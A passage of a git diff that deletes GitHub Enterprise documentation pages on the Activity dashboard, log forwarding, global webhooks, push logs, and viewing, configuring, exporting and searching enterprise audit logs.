@@ ---- -title: Activity dashboard -intro: The Activity dashboard gives you an overview of all the activity in your enterprise. -redirect_from: - - /enterprise/admin/articles/activity-dashboard - - /enterprise/admin/installation/activity-dashboard - - /enterprise/admin/user-management/activity-dashboard - - /admin/user-management/activity-dashboard - - /admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard -versions: - ghes: '*' -topics: - - Enterprise ---- - -The Activity dashboard provides weekly, monthly, and yearly graphs of the number of: - -* New pull requests -* Merged pull requests -* New issues -* Closed issues -* New issue comments -* New repositories -* New user accounts -* New organizations -* New teams - -## Accessing the Activity dashboard - -1. In the top-left corner of any page, select {% octicon "three-bars" aria-label="Open global navigation menu" %}, then click **{% octicon "telescope" aria-hidden="true" %} Explore**. - - ![Screenshot of the navigation bar on {% data variables.product.github %}. The "Open global navigation menu" icon is outlined in dark orange.](/assets/images/help/navigation/global-navigation-menu-icon.png) -1. In the upper-right corner of the page, click **{% octicon "pulse" aria-hidden="true" %} Activity**. -1. To view activity over different periods, click **This week**, **This month**, or **This year**. - - ![Screenshot of the activity dashboard. A line graph compares the number of pull requests merged over this week and the previous week.](/assets/images/help/enterprises/activity-dashboard.png) diff --git a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/index.md b/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/index.md deleted file mode 100644 index 2c203df34197..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Exploring user activity in your enterprise -intro: 'You can view user {% ifversion ghes%}and system {% endif %}activity with {% ifversion ghes%}dashboards, log forwarding, and {% endif %}webhooks.' -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /activity-dashboard - - /accessing-reports-for-your-instance - - /viewing-push-logs - - /log-forwarding - - /managing-global-webhooks -shortTitle: Explore user activity -redirect_from: - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity ---- diff --git a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/log-forwarding.md b/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/log-forwarding.md deleted file mode 100644 index b5763620872b..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/log-forwarding.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Log forwarding -intro: '{% data variables.product.prodname_ghe_server %} uses `syslog-ng` to forward system and application logs to the server you specify.' -redirect_from: - - /enterprise/admin/articles/log-forwarding - - /enterprise/admin/installation/log-forwarding - - /enterprise/admin/enterprise-management/log-forwarding - - /admin/enterprise-management/log-forwarding - - /admin/user-management/log-forwarding - - /admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding -versions: - ghes: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Logging - - Security ---- - -## About log forwarding - -Forwarding logs to an external receiver allows your organization to centralize log management and retention, providing the data needed for monitoring system activity, detecting anomalies, and integrating with existing security and analytics tools. - -Any log collection system that supports syslog-style log streams is supported (e.g., [Logstash](https://www.elastic.co/products/logstash) and [Splunk](https://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)). - -When you enable log forwarding, you must upload a CA certificate to encrypt communications between syslog endpoints. Your appliance and the remote syslog server will perform two-way SSL, each providing a certificate to the other and validating the certificate which is received. - -For more information on log content, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs). - -## Enabling log forwarding - -1. On the {% data variables.enterprise.management_console %} settings page, in the left sidebar, click **Monitoring**. -1. Select **Enable log forwarding**. -1. In the **Server address** field, type the address of the server to which you want to forward logs. You can specify multiple addresses in a comma-separated list. -1. In the Protocol drop-down menu, select the protocol to use to communicate with the log server. The protocol will apply to all specified log destinations. -1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers. -1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. The entire certificate chain will be validated, and must terminate in a root certificate. - -## Troubleshooting - -If you run into issues with log forwarding, contact us by visiting {% data variables.contact.contact_ent_support %} and attach the output file from `http(s)://[hostname]/setup/diagnostics` to your message. diff --git a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks.md b/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks.md deleted file mode 100644 index de1f002ec6f3..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Managing global webhooks -shortTitle: Manage global webhooks -intro: You can configure global webhooks to notify external web servers when events occur within your enterprise. -permissions: Enterprise owners can manage global webhooks for an enterprise account. -redirect_from: - - /enterprise/admin/user-management/about-global-webhooks - - /enterprise/admin/user-management/managing-global-webhooks - - /admin/user-management/managing-global-webhooks - - /admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks - - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account - - /articles/configuring-webhooks-for-organization-events-in-your-business-account - - /articles/configuring-webhooks-for-organization-events-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-webhooks-for-organization-events-in-your-enterprise-account - - /admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Webhooks ---- - -## About global webhooks - -You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks). - -For example, you can configure {% data variables.product.github %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook. - -{% data reusables.enterprise_user_management.manage-global-webhooks-api %} - -## Adding a global webhook - -You can add a global webhook for your enterprise. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-a-global-webhook-for-a-github-enterprise). - -## Editing a global webhook - -You can edit a global webhook to change any of the settings that were selected when the webhook was initially created. For more information, see [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-a-global-webhook-for-a-github-enterprise). - -## Disabling a global webhook - -You can disable or delete a global webhook. For more information, see [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-a-global-webhook-for-a-github-enterprise). - -## Viewing recent deliveries and responses - -You can view details about webhook deliveries that occurred in the past {% data variables.webhooks.retention %} days. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries). diff --git a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/viewing-push-logs.md b/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/viewing-push-logs.md deleted file mode 100644 index 24ff12ec202c..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/viewing-push-logs.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Viewing push logs -intro: Site administrators can view a list of Git push operations for any repository on the enterprise. -redirect_from: - - /enterprise/admin/articles/viewing-push-logs - - /enterprise/admin/installation/viewing-push-logs - - /enterprise/admin/user-management/viewing-push-logs - - /admin/user-management/viewing-push-logs - - /admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs -versions: - ghes: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Git - - Logging ---- -Push log entries show: - -* Who initiated the push -* Whether it was a force push or not -* The branch someone pushed to -* The protocol used to push -* The originating IP address -* The Git client used to push -* The SHA hashes from before and after the operation - -{% data reusables.repositories.activity-view %} -For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository). - -## Viewing a repository's push logs - -1. Sign into {% data variables.product.prodname_ghe_server %} as a site administrator. -1. Navigate to a repository. -1. In the upper-right corner of the repository's page, click {% octicon "rocket" aria-label="Site admin" %}. -{% data reusables.enterprise_site_admin_settings.security-tab %} -1. In the left sidebar, click **Push Log**. - -## Viewing a repository's push logs on the command-line - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. In the appropriate Git repository, open the audit log file: - - ```shell - ghe-repo OWNER/REPOSITORY -c "cat audit_log" - ``` diff --git a/content/admin/monitoring-activity-in-your-enterprise/index.md b/content/admin/monitoring-activity-in-your-enterprise/index.md deleted file mode 100644 index e37a595924ad..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Monitoring activity in your enterprise -intro: 'You can view user and system activity by leveraging audit logs{% ifversion ghes %}, push logs, dashboards, webhooks, and log forwarding{% else %}and webhooks{% endif %}.' -redirect_from: - - /enterprise/admin/installation/monitoring-activity-on-your-github-enterprise-server-instance -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /reviewing-audit-logs-for-your-enterprise - - /exploring-user-activity-in-your-enterprise - - /analyzing-how-your-team-works-with-server-statistics -shortTitle: Monitor user activity ---- diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md deleted file mode 100644 index 30547cf7e7d0..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: About the audit log for your enterprise -intro: 'To support debugging and internal and external compliance, {% data variables.product.github %} provides logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events.' -shortTitle: About audit logs -redirect_from: - - /enterprise/admin/articles/audit-logging - - /enterprise/admin/installation/audit-logging - - /enterprise/admin/user-management/audit-logging - - /admin/user-management/audit-logging - - /admin/user-management/monitoring-activity-in-your-enterprise/audit-logging - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/auditing-activity-in-your-enterprise - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/auditing-activity-in-your-enterprise - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/auditing-activity-in-your-enterprise -versions: - ghes: '*' - ghec: '*' -type: overview -topics: - - Auditing - - Enterprise - - Logging - - Security ---- - -## About audit logs - -> [!NOTE] -> {% data reusables.webhooks.webhooks-as-audit-log-alternative %} - -{% data reusables.audit_log.retention-periods %} - -{% data reusables.audit_log.audit-log-search-list-info-about-action %} - -{% ifversion ghes %}Site administrators can review the audit log for an instance, which contains a wider range of events including system administrative events. To access the instance-level audit log: - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left menu, click **Audit log**.{% endif %} - -In addition to viewing your audit log, you can monitor activity in your enterprise in other ways, such as {% ifversion ghes %}viewing push logs and {% endif %}managing global webhooks. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity). You can also use the audit log, and other tools, to monitor the actions taken in response to security alerts. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -## Using your audit logs - -As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways: -* You can view the audit log for your enterprise. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise). -* You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise){% ifversion ghec %} and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise){% endif %}. -* You can identify all events that were performed by a specific access token. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token).{% ifversion ghes %} -* You can configure settings, such as the retention period for audit log events and whether Git events are included. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise).{% endif %} -{%- ifversion enterprise-audit-log-ip-addresses %} -* You can display the IP address associated with events in the audit log. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise). -{%- endif %} -* You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). -{%- ifversion ghes %} -* You can forward audit and system logs, from your enterprise to an third-party hosted monitoring system. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding). -{%- endif %} -* You can use the Audit log API to view actions performed in your enterprise. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise). - -For a full list of audit log actions that may appear in your enterprise audit log, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). - -## Further reading - -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization) -{%- ifversion ghes %} -* [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/about-system-logs) -{%- endif %} diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md deleted file mode 100644 index 04ee20244c86..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Accessing the audit log for your enterprise -intro: You can view aggregated actions from all of the organizations owned by an enterprise account in the enterprise's audit log. -shortTitle: Access audit logs -permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can access the audit log.' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account - - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account - - /articles/viewing-the-audit-logs-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise-account - - /admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Logging ---- -{% data reusables.audit_log.retention-periods %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md deleted file mode 100644 index a13270594ef6..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Audit log events for your enterprise -intro: Review the events recorded in an enterprise's audit log. -shortTitle: Audit log events -permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}' -redirect_from: - - /enterprise/admin/articles/audited-actions - - /enterprise/admin/installation/audited-actions - - /enterprise/admin/user-management/audited-actions - - /admin/user-management/audited-actions - - /admin/user-management/monitoring-activity-in-your-enterprise/audited-actions -versions: - ghec: '*' - ghes: '*' -type: reference -topics: - - Auditing - - Enterprise - - Logging - - Security -autogenerated: audit-logs ---- - -> [!NOTE] This article lists events that may appear in the audit log for an **enterprise**. For the events that can appear in a user account's security log or the audit log for an organization, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization). - -{% ifversion ghec %} - -## What types of events are included? - -* **Without {% data variables.product.prodname_emus %}**, the audit log only includes events related to the enterprise account and the organizations within it. -* **With {% data variables.product.prodname_emus %}**, the audit log also includes user events, which are not listed here. For that list, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events). - -{% else %} - -This article lists events that appear in the **enterprise settings**. The site admin dashboard may contain other events not listed here. - -{% endif %} - -<!-- Content after this section is automatically generated --> diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md deleted file mode 100644 index 739c2241c71e..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Configuring the audit log for your enterprise -intro: You can configure settings for your enterprise's audit log. -shortTitle: Configure audit logs -permissions: Enterprise owners can configure the audit log. -versions: - ghes: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Logging ---- - -## About audit log configuration - -You can configure a retention period for audit log data and see index storage details. - -After you configure a retention period, you can enable or disable Git-related events from appearing in the audit log. - -## Configuring a retention period for audit log data - -You can configure a retention period for audit log data for {% data variables.location.product_location %}. Data that exceeds the period you configure will be permanently removed from disk. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -{% data reusables.audit_log.audit-data-retention-tab %} -1. Under "Configure audit log retention settings", select the dropdown menu and click a retention period. -1. Click **Save**. - -## Managing Git events in the audit log - -You can enable or disable Git-related events, such as `git.clone` and `git.push`, from appearing in your audit log. For a list of the Git events are logged, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git). - -If you do enable Git events, due to the large number of Git events that are logged, we recommend monitoring your instance's file storage and reviewing your related alert configurations. For more information, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage). - -Before you can enable Git events in the audit log, you must configure a retention period for audit log data other than "infinite." For more information, see [Configuring a retention period for audit log data](#configuring-a-retention-period-for-audit-log-data). - -{% data reusables.audit_log.git-events-not-in-search-results %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -{% data reusables.audit_log.audit-data-retention-tab %} -1. Under "Git event opt-in", select or deselect **Enable git events in the audit-log**. - - > [!NOTE] - > The retention policy must be set to something other than infinite for this option to display. - - ![Screenshot of the audit log. The checkbox to enable Git events in the audit log is highlighted with an orange outline.](/assets/images/help/enterprises/enable-git-events-checkbox.png) -1. Click **Save**. diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md deleted file mode 100644 index c311c0efa5b8..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Displaying IP addresses in the audit log for your enterprise -intro: You can display the source IP address for events in your enterprise's audit log. -shortTitle: IP addresses in audit log -permissions: Enterprise owners can display IP addresses in the audit log for an enterprise. -versions: - feature: enterprise-audit-log-ip-addresses -type: how_to -topics: - - Auditing - - Enterprise - - Logging - - Networking - - Security ---- - -## About display of IP addresses in the audit log - -By default, {% data variables.product.github %} does not display the source IP address for events in your enterprise's audit log. {% data reusables.audit_log.about-ip-display %} - -You are responsible for meeting any legal obligations that accompany the viewing or storage of IP addresses displayed within your enterprise's audit log. - -If you choose to display IP addresses for your enterprise account, IP addresses for **new and existing events** will appear in both your enterprise's audit log and the audit log of every organization owned by your enterprise. Alternatively, you can enable the display of IP addresses in the audit log for individual organizations. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/displaying-ip-addresses-in-the-audit-log-for-your-organization). - -You can display IP addresses in the audit log regardless of which authentication method you use for your enterprise on {% data variables.product.github %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). - -{% data reusables.audit_log.users-agree-to-ip-collection %} - -## Events that display IP addresses in the audit log - -{% data variables.product.github %} displays an IP address in the audit log when a member of the enterprise interacts with a resource owned by your enterprise or an organization in your enterprise. For example, you will see an IP address for audited events involving an internal or private repository owned by an organization in your enterprise, or resources associated with those repositories, such as an issue, pull request, action, or project. - -If members of your enterprise access {% data variables.location.product_location %} with personal accounts that they manage, because you do not use {% data variables.product.prodname_emus %}, {% data variables.product.github %} does not display an event or IP address in the audit log for the following actions. - -* Authentication to {% data variables.location.product_location %} -* Interactions with a resource owned by the personal account, including a repository, gist, or project -* Interactions with a public repository owned by an organization in your enterprise - -## Enabling display of IP addresses in the audit log - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -1. Under "Audit log", click **Settings**. -{% data reusables.audit_log.enable-ip-disclosure %} -1. Click **Save**. - -After you enable the feature, you can access the audit log to view events that include IP addresses. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise). diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md deleted file mode 100644 index e880b819ec39..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Exporting audit log activity for your enterprise -intro: You can export audit and Git events data to a file for offline analysis. -shortTitle: Export audit logs -permissions: Enterprise owners -versions: - ghec: '*' -type: tutorial -topics: - - Auditing - - Enterprise - - Logging ---- - -## About exports of audit log and Git events data - -You can export the audit log by downloading a JSON or CSV file from your enterprise on {% data variables.product.github %}. When you export audit log events, you can query by one or more of these supported qualifiers to filter for specific log events to export. See [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise#search-based-on-the-action-performed). - -The audit log lists events triggered by activities that affect your enterprise within the last 180 days. {% data reusables.audit_log.git-events-retention-period %} - -You can export Git events data by downloading a JSON file from your enterprise audit log. Unlike audit log data, you cannot query for specific Git events to filter and export in the audit log user interface. - -{% data reusables.audit_log.git-events-export-limited %} - -{% data reusables.audit_log.exported-log-keys-and-values %} - -As an alternative to exporting log events, you can use the API to retrieve audit log events, or set up {% data variables.product.github %} to stream audit data as events are logged. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -## Exporting audit log data - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -1. Optionally, to only export filtered results, search by one or more supported qualifiers or log filters. -1. Select the **{% octicon "download" aria-hidden="true" %} Export** dropdown menu, and click a file format. - -## Exporting Git events data - -You can also export Git events data by date range. The data is exported as a compressed, newline-delimited JSON file. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -1. Select the **{% octicon "download" aria-hidden="true" %} Export Git Events** dropdown menu and choose a date range to export log events for. -1. Click **{% octicon "file-zip" aria-hidden="true" %} Download Results**. -1. To extract the JSON data, uncompress the file using an archive utility client or command. For example: - - ```shell - gunzip export-avocado-corp-1642896556.json.gz - ``` diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token.md deleted file mode 100644 index f71d312892eb..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Identifying audit log events performed by an access token -shortTitle: Identify events by token -intro: 'You can identify the actions performed by a specific token in your enterprise.' -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Authentication - - OAuth apps - - GitHub Apps ---- - -## About token data in the audit log for an enterprise - -Your enterprise's audit log contains an event for each action that a user or integration performs. If the action occurred outside of {% data variables.product.prodname_dotcom %}'s web UI, the event's data will show details about how the user or integration authenticated. - -{% data reusables.audit_log.understand-actions-taken-with-token %} - -{% data reusables.audit_log.authentication-methods-with-metadata %} - -## Token data in audit log events - -{% data reusables.audit_log.data-describing-token-use %} - -## Identifying events associated with a token - -{% data reusables.audit_log.searching-for-associated-events %} - -### Generating a SHA-256 hash value for a token - -{% data reusables.audit_log.generating-hash-for-a-token %} - -### Searching on {% data variables.product.prodname_dotcom %} - -{% data reusables.audit_log.searching-for-a-token-on-githubcom %} - -### Searching with the REST API - -{% data reusables.audit_log.searching-for-a-token-with-rest-api %} - -For example, if the name of the enterprise account is `octo-corp`, the following curl command would search @octo-corp's audit log for all events that are associated with the token whose URI-encoded SHA-256 hash is `EH4L8o6PfCqipALbL%2BQT62lyqUtnI7ql0SPbkaQnjv8`. - -```shell -curl --header "Accept: application/vnd.github+json" --header "Authorization: Bearer YOUR-TOKEN" {% data reusables.rest-api.version-header %} 'https://api.github.com/enterprises/octo-corp/audit-log?phrase=hashed_token:"EH4L8o6PfCqipALbL%2BQT62lyqUtnI7ql0SPbkaQnjv8"' -``` - -{% ifversion token-audit-log-more-metadata %} - -### Identifying Git events - -{% data reusables.audit_log.you-can-identify-git-events %} For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise#exporting-git-events-data). - -{% data reusables.audit_log.authentication-metadata-git-events-release-phase %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise) -{%- ifversion ghec %} -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/identifying-audit-log-events-performed-by-an-access-token) -{%- endif %} diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md deleted file mode 100644 index 04025994cd5f..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Reviewing audit logs for your enterprise -intro: You can view user and system activity in the audit logs for your enterprise. -shortTitle: Review audit logs -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /about-the-audit-log-for-your-enterprise - - /accessing-the-audit-log-for-your-enterprise - - /configuring-the-audit-log-for-your-enterprise - - /displaying-ip-addresses-in-the-audit-log-for-your-enterprise - - /searching-the-audit-log-for-your-enterprise - - /identifying-audit-log-events-performed-by-an-access-token - - /exporting-audit-log-activity-for-your-enterprise - - /streaming-the-audit-log-for-your-enterprise - - /using-the-audit-log-api-for-your-enterprise - - /audit-log-events-for-your-enterprise ---- diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md deleted file mode 100644 index ec62b98e824b..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md +++ 